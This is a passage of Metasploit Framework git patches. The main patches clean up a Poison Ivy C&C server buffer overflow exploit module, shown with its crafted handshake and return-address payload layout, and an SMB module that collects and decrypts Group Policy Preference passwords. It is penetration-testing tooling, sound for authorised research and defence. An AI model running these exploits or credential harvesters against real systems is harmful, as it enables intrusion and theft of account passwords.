arch_x86_64; break; - case "20100628082832": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break; - case "20100628124739": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100628143222": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100628232431": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100629034705": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100629105354": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; - case "20100630130433": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100630131607": ua_version = "4.0.0.b1"; os_name = oses_mac_osx; break; - case "20100630132217": ua_version = "4.0.0.b1"; os_name = oses_linux; break; - case "20100630141702": ua_version = "4.0.0.b1"; os_name = oses_windows; break; - case "20100630174226": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; - case "20100630180611": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; - case "20100709115208": ua_version = "3.6.7.b1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100709183408": ua_version = "3.6.7.b1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100716093011": ua_version = "3.6.7.b2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20101203075014": ua_version = "3.6.13"; os_name = oses_windows; break; - case "20101206122825": ua_version = "3.6.13"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "20110318052756": ua_version = "4.0"; os_name = oses_windows; break; // browsershots: Firefox 4.0 / Windows XP - case "20110420144310": ua_version = "3.5.19"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 3.5.19 / Debian 4.0 (Etch) - case "20110615151330": ua_version = "5.0"; os_name = oses_windows; break; // browsershots: Firefox 5.0 / Windows XP - case "20110811165603": ua_version = "6.0"; os_name = oses_windows; break; // browsershots: Firefox 6.0 / Windows XP - case "20110830092941": ua_version = "6.0.1"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 6.0.1 / Debian 4.0 (Etch) - case "20110922153450": ua_version = "7.0"; os_name = oses_windows; break; // browsershots: Firefox 7.0 / Windows XP - case "20110928134238": ua_version = "7.0.1"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 7.0.1 / Debian 4.0 (Etch) - case "20111104165243": ua_version = "8.0"; os_name = oses_windows; break; // browsershots: Firefox 8.0 / Windows XP - case "20111115183813": ua_version = "8.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 8.0 / Ubuntu 9.10 (Karmic Koala) - case "20111216140209": ua_version = "9.0"; os_name = oses_windows; break; // browsershots: Firefox 9.0 / Windows XP - case "20120129021758": ua_version = "10.0"; os_name = oses_windows; break; // browsershots: Firefox 10.0 / Windows 2000 - case "20120201083324": ua_version = "3.5.16"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Iceweasel 3.5.16 / Debian 4.0 (Etch) - case "20120216013254": ua_version = "3.6.27"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 3.6.27 / Debian 4.0 (Etch) - case "20120216100510": ua_version = "10.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 10.0.2 / Ubuntu 9.10 (Karmic Koala) - case "20120310010316": ua_version = "11.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 11.0 / Ubuntu 9.10 (Karmic Koala) - case "20120310194926": ua_version = "11.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "20120312181643": - // It is disconcerting that a buildID is the same on Windows - // and Mac, need to examine more versions on Mac. - ua_version = "11.0"; - if (/Mac/.test(navigator.oscpu)) { - os_name = oses_mac_osx; - } else { - os_name = oses_windows; // browsershots: Firefox 11.0 / Windows XP - } - break; - case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch) - case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Fedora"; break; - default: - version = this.searchVersion("Firefox", navigator.userAgent); - // Verify whether the ua string is lying by checking if it contains - // the major version we detected using known objects above. If it - // appears to be truthful, then use its more precise version number. - if (version && ua_version && version.split(".")[0] == ua_version.split(".")[0]) { - // The version number will sometimes end with a space or end of - // line, so strip off anything after a space if one exists - if (-1 != version.indexOf(" ")) { - version = version.substr(0,version.indexOf(" ")); - } - ua_version = version; - } else { - ua_is_lying = true; - } - break; - } - //if (ua_is_lying) { alert("UA is lying"); } - //alert(ua_version + " vs " + navigator.userAgent); - - // end navigator.buildID checks - - } else if (typeof ScriptEngineMajorVersion == "function") { + else if (typeof ScriptEngineMajorVersion == "function") { // Then this is IE and we can very reliably detect the OS. // Need to add detection for IE on Mac. Low priority, since we // don't have any sploits for it yet and it's a very low market From d6a637bd15b460e70dd8b04efeba35e61f700cb2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 16:12:28 -0500 Subject: [PATCH 0656/2172] Do code cleaning on the check method --- .../exploits/windows/misc/poisonivy_bof.rb | 63 +++++++++---------- 1 file changed, 30 insertions(+), 33 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 79c3e4dc8a..f52cb16470 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => "Poison Ivy Server Buffer Overflow", + 'Name' => 'Poison Ivy Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server. The exploit does not need to know the password chosen for the bot/server communication. @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ], [ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ], ], - 'DisclosureDate' => "Jun 24 2012", + 'DisclosureDate' => 'Jun 24 2012', 'DefaultOptions' => { 'EXITFUNC' => 'thread', @@ -84,68 +84,65 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options( - [ - Opt::RPORT(3460), - ], self.class) + [ + Opt::RPORT(3460), + ], self.class) end def check # camellia block size - blockSize = 16 + block_size = 16 # number of blocks in challenge - blockCount = 16 - challenge = ("\x00" * blockSize * blockCount) + block_count = 16 + challenge = ("\x00" * block_size * block_count) - indicator = Hash.new + indicator = {} # 0x0000113e as first 4 bytes on PI 2.1.0 - indicator[[0x0000113e].pack("V")] = '2.1.0' + indicator[[0x0000113e].pack('V')] = '2.1.0' # 0x00001212 as first 4 bytes on PI 2.1.1 - indicator[[0x00001212].pack("V")] = '2.1.1' + indicator[[0x00001212].pack('V')] = '2.1.1' # 0x000013f6 as first 4 bytes on PI 2.1.2 - indicator[[0x000013f6].pack("V")] = '2.1.2' + indicator[[0x000013f6].pack('V')] = '2.1.2' # 0x000013e0 as 4 bytes after challenge on PI 2.2.0 - indicator[[0x000013e0].pack("V")] = '2.2.0' + indicator[[0x000013e0].pack('V')] = '2.2.0' # 0x00001470 as 4 bytes after challenge on PI 2.3.0 - indicator[[0x00001470].pack("V")] = '2.3.0' + indicator[[0x00001470].pack('V')] = '2.3.0' # 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2 - indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2' + indicator[[0x000015D0].pack('V')] = '2.3.1/2.3.2' connect sock.put(challenge) - response = sock.read(256) - - if response.length == 256 - response2 = sock.read(4) - disconnect + response = sock.get_once(256) + if response && response.length == 256 # Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks # map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks. - firstBlock = response[0, 16] - for index in 1..15 - if response[index * 16, 16] != firstBlock - print_status("Response doesn't match Poison Ivy Challenge-Response format.") + first_block = response[0, 16] + (1..15).each do |index| + unless response[index * 16, 16] == first_block + vprint_status("Response doesn't match Poison Ivy Challenge-Response format.") return Exploit::CheckCode::Safe end end - if indicator.key?(response2) - indic = indicator[response2] - print_status("Vulnerable Poison Ivy C&C version #{indic} detected.") - return Exploit::CheckCode::Appears - end - elsif response.length == 4 + response = sock.get_once(4) + end + + disconnect + + if response && response.length == 4 disconnect if indicator.key?(response) - indic = indicator[response] - print_status("Poison Ivy C&C version #{indic} detected.") + version = indicator[response] + vprint_status("Poison Ivy C&C version #{version} detected.") return Exploit::CheckCode::Safe end end vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.") - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end def exploit From 88fdc9f1237a5c2e8730e3e7d12387fdbaaffc19 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 16:14:21 -0500 Subject: [PATCH 0657/2172] Clean exploit method --- modules/exploits/windows/misc/poisonivy_bof.rb | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index f52cb16470..e79bd1a7ae 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -41,8 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'StackAdjustment' => -4000, - 'Space' => 10000, - 'BadChars' => "", + 'Space' => 10000 }, 'Platform' => 'win', 'Targets' => @@ -151,29 +150,29 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Performing handshake...") # plaintext header - plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + plaintext_header = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle - challenge = plaintextHeader + ("\x00" * (256 - 32)) + challenge = plaintext_header + ("\x00" * (256 - 32)) sock.put(challenge) # response = encrypt(challenge, key) response = sock.get_once # since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key - encryptedHeader = response[0, 32] + encrypted_header = response[0, 32] # Don't change the nulls, or it might not work xploit = '' - xploit << encryptedHeader + xploit << encrypted_header xploit << "\x00" * (target['PayloadOffset'] - xploit.length) xploit << payload.encoded xploit << "\x00" * (target['Offset'] - xploit.length) - xploit << [target.ret].pack("V") # ret to a jmp esp opcode - xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) + xploit << [target.ret].pack('V') # ret to a jmp esp opcode + xploit << [target['RWAddress']].pack('V') # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back) # The disconnection triggers the exploit - print_status("Sending exploit...") + print_status('Sending exploit...') sock.put(xploit) select(nil,nil,nil,5) disconnect From 75c6ace1d0bf940037440d8ccf92b5c281d23e70 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 16:23:10 -0500 Subject: [PATCH 0658/2172] Use single quotes --- modules/exploits/windows/misc/poisonivy_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index e79bd1a7ae..bdaf28636b 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -147,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # Handshake connect - print_status("Performing handshake...") + print_status('Performing handshake...') # plaintext header plaintext_header = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" From 402044a77034e04191f772106f41d928f8251cb1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 16:23:43 -0500 Subject: [PATCH 0659/2172] Delete comma --- modules/exploits/windows/misc/poisonivy_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index bdaf28636b..635a4b820f 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - Opt::RPORT(3460), + Opt::RPORT(3460) ], self.class) end From af1cdd6dea63abbff532f85d70b879c03f4a731e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 16:34:43 -0500 Subject: [PATCH 0660/2172] Return Appears --- modules/exploits/windows/misc/poisonivy_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 635a4b820f..aa98b9ab4e 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -136,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote if indicator.key?(response) version = indicator[response] vprint_status("Poison Ivy C&C version #{version} detected.") - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Appears end end From e22f6e79d86e81500ab90ce420cb0fc997a3a98e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 16:52:26 -0500 Subject: [PATCH 0661/2172] Update Gemfile.lock --- Gemfile.lock | 1 + 1 file changed, 1 insertion(+) diff --git a/Gemfile.lock b/Gemfile.lock index 72c9bb462d..ae4f89be48 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -108,6 +108,7 @@ GEM json (1.8.3) mail (2.6.3) mime-types (>= 1.16, < 3) + metasm (1.0.2) metasploit-concern (1.0.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) From 36c1339ad3cccd7881951cd313f48a0865494006 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 16 Sep 2015 15:41:01 -0500 Subject: [PATCH 0662/2172] update payloads to 1.0.13, fixes older php meterpreters --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 969cffb459..34f83095c5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -10,7 +10,7 @@ PATH metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.12) + metasploit-payloads (= 1.0.13) msgpack nokogiri packetfu (= 1.1.11) @@ -125,7 +125,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.12) + metasploit-payloads (1.0.13) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 7742ed494b..cc4abe9cb7 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.12' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.13' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From d2a17074b127e5ad4fd92c1d7e463f9e5e37ba18 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 16 Sep 2015 17:24:41 -0500 Subject: [PATCH 0663/2172] update payload sizes --- modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index dfd56e1440..3642837058 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit4 - CachedSize = 26128 + CachedSize = 26203 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp From 4d0d806e1d77b20c74db98d96ea791029a70237b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 19:30:40 -0500 Subject: [PATCH 0664/2172] Do minor cleanup --- modules/auxiliary/scanner/smb/smb_enum_gpp.rb | 182 +++++++++--------- 1 file changed, 88 insertions(+), 94 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index de8965bdc9..d09e9ed74c 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -24,12 +24,10 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration', 'Description' => %Q{ - This module enumerates files from target domain controllers and - connects to them via SMB. It then looks for Group Policy Preference XML - files containing local/domain user accounts and passwords and decrypts them - using Microsofts public AES key. - - Tested on Win2k8 R2 DC. + This module enumerates files from target domain controllers and connects to them via SMB. + It then looks for Group Policy Preference XML files containing local/domain user accounts + and passwords and decrypts them using Microsofts public AES key. This module has been + tested successfully on a Win2k8 R2 Domain Controller. }, 'Author' => [ @@ -52,29 +50,28 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def check_path(ip,path) + def check_path(ip, path) vprint_status("Trying to download \\\\#{ip}\\#{path}...") begin - if (fd = simple.open("\\#{path}", 'ro')) - fd.close - print_good "Found Policy Share on #{ip}" - smb_download(ip,path) - end + fd = simple.open("\\#{path}", 'ro') + fd.close + print_good "Found Policy Share on #{ip}" + smb_download(ip, path) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e case e.get_error(e.error_code) - when "STATUS_FILE_IS_A_DIRECTORY" + when 'STATUS_FILE_IS_A_DIRECTORY' print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}") - when "STATUS_OBJECT_NAME_NOT_FOUND" + when 'STATUS_OBJECT_NAME_NOT_FOUND' vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") - when "STATUS_OBJECT_PATH_NOT_FOUND" + when 'STATUS_OBJECT_PATH_NOT_FOUND' vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!") - when "STATUS_ACCESS_DENIED" + when 'STATUS_ACCESS_DENIED' vprint_error("Host #{ip} reports access denied.") - when "STATUS_BAD_NETWORK_NAME" + when 'STATUS_BAD_NETWORK_NAME' vprint_error("Host #{ip} is NOT connected to #{datastore['SMBDomain']}!") - when "STATUS_INSUFF_SERVER_RESOURCES" + when 'STATUS_INSUFF_SERVER_RESOURCES' vprint_error("Host #{ip} rejected with insufficient resources!") - when "STATUS_OBJECT_NAME_INVALID" + when 'STATUS_OBJECT_NAME_INVALID' vprint_error("opening \\#{path} bad filename") else return @@ -82,37 +79,37 @@ class Metasploit3 < Msf::Auxiliary end end - def report_creds(ip,user, password, disabled) + def report_creds(ip,user, password) service_data = { address: ip, port: rport, - protocol: "tcp", - service_name: "smb", + protocol: 'tcp', + service_name: 'smb', workspace_id: myworkspace_id } new_user = user.sub(/\s+.*/,'') first, rest = new_user.split(/\\/) - if first and rest - domain = first - user = rest - credential_data = { - origin_type: :service, - module_fullname: fullname, - username: user, - private_data: password, - private_type: :password, - realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, - realm_value: domain, - } + if first && rest + domain = first + user = rest + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + private_data: password, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain, + } else - credential_data = { - origin_type: :service, - module_fullname: fullname, - username: new_user, - private_data: password, - private_type: :password - } + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: new_user, + private_data: password, + private_type: :password + } end credential_core = create_credential(credential_data.merge(service_data)) @@ -125,91 +122,88 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(login_data.merge(service_data)) end - def parse_xml(ip,path,xmlfile) - mxml = xmlfile[:xml] + def parse_xml(ip, path, xml_file) + mxml = xml_file[:xml] print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}" - filetype = File.basename(xmlfile[:path].gsub("\\","/")) + filetype = File.basename(xml_file[:path].gsub("\\","/")) results = Rex::Parser::GPP.parse(mxml) - tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc]) + tables = Rex::Parser::GPP.create_tables(results, filetype, xml_file[:domain], xml_file[:dc]) tables.each do |table| print_good table.to_s end results.each do |result| if datastore['STORE'] - stored_path = store_loot('windows.gpp.xml', 'text/plain',ip, xmlfile[:xml], filetype, xmlfile[:path]) - print_status("XML file saved to: #{stored_path}") + stored_path = store_loot('windows.gpp.xml', 'text/plain',ip, xml_file[:xml], filetype, xml_file[:path]) + print_status("XML file saved to: #{stored_path}") end - report_creds(ip,result[:USER], result[:PASS], result[:DISABLED]) + report_creds(ip, result[:USER], result[:PASS]) end end - def smb_download(ip,path) + def smb_download(ip, path) vprint_status("Downloading #{path}...") - data = '' - begin - fd = simple.open("\\#{path}", 'ro') - data = fd.read - fd.close - end - spath = path.split('\\') - retobj = { - :dc => ip, - :path => path, - :xml => data - } - retobj[:domain] = spath[0] - parse_xml(ip,path,retobj) if retobj + fd = simple.open("\\#{path}", 'ro') + data = fd.read + fd.close + + path_elements = path.split('\\') + ret_obj = { + :dc => ip, + :path => path, + :xml => data + } + ret_obj[:domain] = path_elements[0] + + parse_xml(ip, path, ret_obj) if ret_obj fname = path.split("\\")[-1] if datastore['STORE'] - path = store_loot("smb.shares.file", "application/octet-stream",ip, data, fname) - print_good("#{fname} saved as: #{path}") + path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, fname) + print_good("#{fname} saved as: #{path}") end end def run_host(ip) - print_status("Connecting to the server...") + print_status('Connecting to the server...') begin - connect() - smb_login() + connect + smb_login print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...") - self.simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}") + simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}") - root_listing = self.simple.client.find_first("*") - corpdomain = '' - root_listing.each_pair do |key,val| - next if key == '.' or key == '..' - corpdomain = key + root_listing = simple.client.find_first("*") + corp_domain = '' + root_listing.each_key do |key| + next if key == '.' || key == '..' + corp_domain = key end - subfolder_listing = self.simple.client.find_first("#{corpdomain}\\Policies\\*") - subfolders = [] - subfolder_listing.each_pair do |key,val| - next if key == '.' or key == '..' - subfolders << key + sub_folder_listing = simple.client.find_first("#{corp_domain}\\Policies\\*") + sub_folders = [] + sub_folder_listing.each_key do |key| + next if key == '.' || key == '..' + sub_folders << key end - gpp_locations = [ "\\MACHINE\\Preferences\\Groups\\Groups.xml", - "\\USER\\Preferences\\Groups\\Groups.xml", - "\\MACHINE\\Preferences\\Services\\Services.xml", - "\\USER\\Preferences\\Printers\\Printers.xml", - "\\USER\\Preferences\\Drives\\Drives.xml", - "\\MACHINE\\Preferences\\Datasources\\DataSources.xml", - "\\USER\\Preferences\\Datasources\\DataSources.xml", - "\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", - "\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", - ] - subfolders.each do |i| + gpp_locations = %w( + \\MACHINE\\Preferences\\Groups\\Groups.xml + \\USER\\Preferences\\Groups\\Groups.xml + \\MACHINE\\Preferences\\Services\\Services.xml + \\USER\\Preferences\\Printers\\Printers.xml + \\USER\\Preferences\\Drives\\Drives.xml + \\MACHINE\\Preferences\\Datasources\\DataSources.xml + \\USER\\Preferences\\Datasources\\DataSources.xml + \\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml + \\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml + ) + sub_folders.each do |i| gpp_locations.each do |gpp_l| - check_path(ip,"#{corpdomain}\\Policies\\#{i}#{gpp_l}") + check_path(ip,"#{corp_domain}\\Policies\\#{i}#{gpp_l}") end end - - disconnect - rescue ::Exception => e print_error("#{rhost}: #{e.class} #{e}") ensure From adab9f954889c0fba293bde31f406f5ab31730a6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 16 Sep 2015 20:59:32 -0500 Subject: [PATCH 0665/2172] Do final cleanup --- modules/auxiliary/scanner/smb/smb_enum_gpp.rb | 33 +++++++++---------- 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index d09e9ed74c..1100dd05c1 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -7,11 +7,7 @@ require 'msf/core' require 'rex/parser/group_policy_preferences' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Client::Authenticated - include Msf::Exploit::Remote::DCERPC - - # Exploit mixins should be called first include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -35,18 +31,18 @@ class Metasploit3 < Msf::Auxiliary ], 'References' => [ + ['MSB', 'MS14-025'], ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'], - ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'], - ['MSB', 'MS14-025'] + ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'] ], 'License' => MSF_LICENSE ) register_options([ OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']), OptString.new('RPORT', [true, 'The Target port', 445]), - OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), + OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true]) ], self.class) end @@ -79,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary end end - def report_creds(ip,user, password) + def report_creds(ip, user, password) service_data = { address: ip, port: rport, @@ -88,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary workspace_id: myworkspace_id } - new_user = user.sub(/\s+.*/,'') + new_user = user.sub(/\s+.*/, '') first, rest = new_user.split(/\\/) if first && rest domain = first @@ -115,7 +111,6 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: credential_core, - access_level: "User", status: Metasploit::Model::Login::Status::UNTRIED } @@ -125,21 +120,22 @@ class Metasploit3 < Msf::Auxiliary def parse_xml(ip, path, xml_file) mxml = xml_file[:xml] print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}" - filetype = File.basename(xml_file[:path].gsub("\\","/")) + file_type = File.basename(xml_file[:path].gsub("\\","/")) results = Rex::Parser::GPP.parse(mxml) - tables = Rex::Parser::GPP.create_tables(results, filetype, xml_file[:domain], xml_file[:dc]) + tables = Rex::Parser::GPP.create_tables(results, file_type, xml_file[:domain], xml_file[:dc]) + tables.each do |table| - print_good table.to_s + print_good(table.to_s) end + results.each do |result| if datastore['STORE'] - stored_path = store_loot('windows.gpp.xml', 'text/plain',ip, xml_file[:xml], filetype, xml_file[:path]) + stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path]) print_status("XML file saved to: #{stored_path}") end report_creds(ip, result[:USER], result[:PASS]) end - end def smb_download(ip, path) @@ -151,15 +147,16 @@ class Metasploit3 < Msf::Auxiliary path_elements = path.split('\\') ret_obj = { - :dc => ip, - :path => path, - :xml => data + :dc => ip, + :path => path, + :xml => data } ret_obj[:domain] = path_elements[0] parse_xml(ip, path, ret_obj) if ret_obj fname = path.split("\\")[-1] + if datastore['STORE'] path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, 